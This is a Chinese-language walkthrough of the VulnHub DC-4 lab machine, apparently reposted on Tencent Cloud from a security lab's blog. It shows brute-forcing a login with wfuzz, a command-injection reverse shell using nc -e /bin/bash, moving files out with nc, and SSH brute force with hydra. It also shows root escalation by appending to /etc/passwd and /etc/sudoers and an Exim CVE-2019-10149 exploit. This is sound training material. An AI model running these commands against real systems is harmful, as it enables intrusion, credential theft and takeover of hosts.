前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【VulnHub系列】DC4(附靶机)

【VulnHub系列】DC4(附靶机)

作者头像
Ms08067安全实验室
发布2022-05-27 08:43:31
5930
发布2022-05-27 08:43:31
举报

文章来源|MS08067 安全实验室

本文作者:大方子(Ms08067实验室核心成员)

文章最后附靶机下载地址

  • 主机信息
  • 实验过程

主机信息

DC4:192.168.229.136

Kali:192.168.229.135

实验过程

先发现内网存活主机

代码语言:javascript
复制
sudo arp-scan --interface eth0 192.168.229.1/24

然后查看靶机开放的端口

代码语言:javascript
复制
sudo nmap -A -p- -T4 -v 192.168.229.136 

访问80,是一个登录页面

既然遇到登录页面,那就可以尝试看看,是否有弱口令

代码语言:javascript
复制
# 使用的字典
https://github.com/rootphantomer/Blasting_dictionary/tree/master/%E5%B8%B8%E7%94%A8%E8%8B%B1%E6%96%87%E7%94%A8%E6%88%B7%E5%90%8D%E5%92%8C%E5%A5%87%E8%91%A9%E5%AF%86%E7%A0%81

这里我是用的是Wfuzz来进行爆破

代码语言:javascript
复制
# -c :我记得是彩色输出
# -t :设置线程数量
# -w :字典文件
# -hw : 隐藏返回word字数为17的信息,这个靶机如果凭证错误的话word是17
# -d  : 请求体设置
wfuzz -c -t 20 -w /usr/share/wordlists/usernames.txt -w /usr/share/wordlists/passwords.txt --hw 17 -d "username=FUZZ&password=FUZ2Z" http://192.168.229.136/login.php

得到账号和密码

代码语言:javascript
复制
admin - happy

登陆后发现,是有类似命令执行的功能的

这个时候burp抓包看看

这里我直接反弹shell用操作

代码语言:javascript
复制
nc -e+/bin/bash 192.168.229.135 4444

这里要将空格变为+号

nc+-e+/bin/bash+192.168.229.135+4444

查看下passwd看看有什么用户适合提权

这里可以看到charles、jim、sam有/bin/bash,那么就从这3个用户开始入手

去这几个用户的家目录看看有没有什么收获

可以看到jim目录下面有线索

在backups里面看到有一个old-passwords.txt的备份

将这些密码复制下来并对jim进行ssh爆破,因为在信息手机阶段我们可以看到靶机是打开了22端口

这里可以用nc进行文件传输

代码语言:javascript
复制
# Kali
nc -nvlp 5555 > old-passwords.bak

# DC4
nc 192.168.229.135 5555 < /home/jim/backups/old-passwords.bak

现在用hydra对jim账号进行SSH爆破

代码语言:javascript
复制
hydra  -l jim -P /home/kali/vulnhub/dc4/old-passwords.txt ssh://192.168.229.136
代码语言:javascript
复制
[22][ssh] host: 192.168.229.136   login: jim   password: jibril04

登陆jim的ssh,查看有没有sudo权限

说明要从其他方面入手,这里我们登录SSH提示有邮件,查看下

代码语言:javascript
复制
From charles@dc-4 Sat Apr 06 21:15:46 2019
Return-path: <charles@dc-4>
Envelope-to: jim@dc-4
Delivery-date: Sat, 06 Apr 2019 21:15:46 +1000
Received: from charles by dc-4 with local (Exim 4.89)
 (envelope-from <charles@dc-4>)
 id 1hCjIX-0000kO-Qt
 for jim@dc-4; Sat, 06 Apr 2019 21:15:45 +1000
To: jim@dc-4
Subject: Holidays
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <E1hCjIX-0000kO-Qt@dc-4>
From: Charles <charles@dc-4>
Date: Sat, 06 Apr 2019 21:15:45 +1000
Status: O

Hi Jim,

I'm heading off on holidays at the end of today, so the boss asked me to give you my password just in case anything goes wrong.

Password is:  ^xHhA&hvim0y

See ya,
Charles

这里给出了Charles的密码,那么我们切换到Charles

代码语言:javascript
复制
Charles

^xHhA&hvim0y

看下charles的sudo

可以看到使用teehee提权,teehee就是tee的变体从标准输入读取并写入标准输出和文件

我们可以借助teehee往passwd写入一个root账号即可得到root 权限

代码语言:javascript
复制
echo "cooper::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

尴尬的是因为是没有密码,一直无法登录,看了下别人都是可以登录我也找不出原因

于是换了思路,直接给charles赋予完全的root权限

代码语言:javascript
复制
echo 'charles ALL=(ALL:ALL) NOPASSWD:ALL' | sudo teehee -a /etc/sudoers

然后直接sudo登录root账号

代码语言:javascript
复制
sudo su - root

这里还有一种提权方法

通过cat jim的邮件我们可以看到Exim的版本为4.89

有一个CVE-2019-10149可以使用

代码语言:javascript
复制
searchsploit Exim
代码语言:javascript
复制
searchsploit -p linux/local/46996.sh

将exp拷贝过来,开启Python的HTTP服务,让靶机进行下载执行

然后执行脚本得到root权限

靶机下载地址:http://www.five86.com/downloads/DC-4.zip

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-05-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 实验过程
相关产品与服务
访问管理
访问管理(Cloud Access Management,CAM)可以帮助您安全、便捷地管理对腾讯云服务和资源的访问。您可以使用CAM创建子用户、用户组和角色,并通过策略控制其访问范围。CAM支持用户和角色SSO能力,您可以根据具体管理场景针对性设置企业内用户和腾讯云的互通能力。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档